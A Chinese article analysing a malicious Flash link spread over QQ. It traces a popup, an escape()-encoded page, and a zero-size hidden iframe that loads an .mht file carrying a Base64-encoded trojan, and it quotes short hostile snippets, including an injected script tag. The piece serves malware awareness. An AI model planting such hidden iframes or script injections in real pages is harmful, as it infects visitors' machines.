一天下午,笔者突然在QQ里收到一个消息:“我做的Flash动画,请增加我的观赏率吧!谢谢了朋友 <script src="http://www.qqread.com/../../../../js/Ads.js"></script>!http://www.xxxxx.com/my.swf.Flash”。笔者迫不及待地打开这个Flash,刚开始播放好像打开了一个IE窗口,这在Flash里也是司空见惯了的,继续欣赏Flash……
笔者拿出《硕思闪客精灵》(Flash分析软件)对这个Flash进行分析,准备学点经验。可除了有点Action外,其他什么资源也没检测到。
莫非用了某种加密手段,先不管这些,看看Action里是什么内容(图1)。
图 1
从上面的Action语句来看,该Flash一共2帧:第1帧是调用getURL来打开一个页面,第2帧是远程调用显示一个Flash文件。在此值得一提的是,《硕思闪客精灵》分析出Frame 2的Action是错误的,不应该是getURL("http://flash.xxxxx.com/flash/qq.swf","_level0"),而应该是loadMovieNum("http://flash.xxxxx.com/flash/qq.swf",0),loadMovie才是调用外部Flash的语句。
这个Flash故意先打开一个窗口,再调用一个外部的Flash,通过文件调用地址来看,被调用的Flash却是另一家站点的!先看看它弹出的是什么窗口,打开后发现是一个普通的图片站点,页面代码也无异常:
<script>window.open('welcome.htm',",'width=345?height=235')</script>
弹出窗口是http://www.xxxxx.com/welcome.htm,这页代码又会是什么?在IE中输入“view-source?http://xxxxx.xxx.com/welcome.htm”直接查看了该页面的源代码(图2)。
图 2
页面用escape()函数加了密,肯定有大秘密!escape()是Java Script内置函数,可以将ASCII码转换成URL字符,达到隐藏页面代码的目的。不过Java Script还有一个对应的解码函数unescape(),笔者现在就让它现出原形:
<iframe src=520.mht width=0 height=0 frameborder=0></iframe>
注意:Iframe是可在一个页面内嵌显示另外一个页面的语句。
520.mht到底是什么呢?笔者立刻用FlashGet把它下载了下来,地址是http://www.xxxxx.com/520.mht。下载完毕后,笔者用记事本打开一看,暗暗叫道“好险!”,果真是个木马页面(图3)!
图 3
木马程序名是adsl.exe,且用Base64把adsl.exe编了码,图3中那些看不懂的代码就是被编码的EXE文件。
制作一个木马页面是相当简单的,有一个叫做“网页木马捆绑器”的软件,就可以让任何人迅速地制造出木马页面。
一个精彩的Flash的背后居然有这么阴险的招数,还好笔者开着杀弹出广告窗口的软件――PopUP Killer。这个木马页面刚弹出就被关闭了,所以才平安无事。